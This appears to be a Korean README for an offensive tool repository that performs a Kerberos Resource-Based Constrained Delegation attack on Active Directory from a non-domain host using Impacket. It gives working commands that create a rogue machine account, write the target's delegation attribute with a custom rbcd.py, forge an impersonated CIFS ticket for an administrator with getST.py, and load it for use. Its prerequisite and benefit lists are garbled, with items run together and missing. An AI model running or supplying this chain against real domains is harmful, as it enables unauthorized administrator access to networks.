
외부에서 Impacket을 사용한 Kerberos Resource-Based Constrained Delegation 공격
이 저장소는 Windows Active Directory 도메인에서 Kerberos 리소스 기반 제한 위임(Resource-Based Constrained Delegation)에 대한 실제 공격에 관한 것입니다.
다른 일반적인 구현과의 차이점은 Windows 도메인 외부에서 공격을 시작한다는 점입니다. 즉, 도메인에 가입된 (보통 Windows) 컴퓨터가 아닌 곳에서 공격합니다.
이 공격은 Python3 Impacket만 사용하여 (그리고 그 의존성) 구현되었습니다. 최신 Impacket(작성 시점 기준 0.9.21)으로 Arch에서 테스트되었습니다.

요약하자면, 깊은 세부 사항 없이 이 공격은 도메인 컴퓨터, 정확히는 대상 도메인 컴퓨터와 관련된 서비스 사용자(service principals)를 대상으로 합니다.
필요한 전제 조건:
msDS-AllowedToActOnBehalfOfOtherIdentity 속성에 대한 쓰기 액세스)MachineAccountQuota 참조)매우 높은 수준의 공격 경로:
msDS-AllowedToActOnBehalfOfOtherIdentity 속성 남용이점:
이 공격에 대한 일반적인 도구 세트는 도메인에 가입된 Windows 컴퓨터에서 다음을 사용하여 작동합니다:
msDS-AllowedToActOnBehalfOfOtherIdentity 남용용이 구현은 도메인 외부에서 순수 Impacket을 사용합니다.
Impacket의 addcomputer.py 예제를 사용하여 가짜 컴퓨터(evilcomputer)를 생성해 보겠습니다:
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
저장소에 있는 rbcd.py 스크립트를 구현했습니다. 이 스크립트는 새로 생성된 EVILCOMPUTER의 관련 보안 설명자를 대상 컴퓨터의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성에 추가합니다.
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
이 스크립트는 ntlmrelayx.py Impacket 예제의 Python 클래스를 많이 사용합니다. 도움말 및 예제를 보려면 옵션 없이 스크립트를 호출하십시오.
이제 S4U2Self 쿼리를 통해 제한 위임을 남용하고 대상 컴퓨터에 대한 가장된 서비스 티켓을 얻을 준비가 되었습니다. Impacket 예제 스크립트 getST.py를 사용합니다:
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
위 명령은 대상 도메인 사용자 admin을 대신하여 CIFS 서비스 티켓을 가져와 admin.ccache 파일에 저장합니다.
파일 경로를 KRB5CCNAME 변수에 추가한 후 티켓을 Kerberos 클라이언트에 사용할 수 있습니다.
export KRB5CCNAME=`pwd`/admin.ccache
klist
리소스 기반 제한 위임 남용에 대한 자세한 내용:
그리고 Kerberos 공격에 대한 가장 포괄적인 프레젠테이션 중 하나: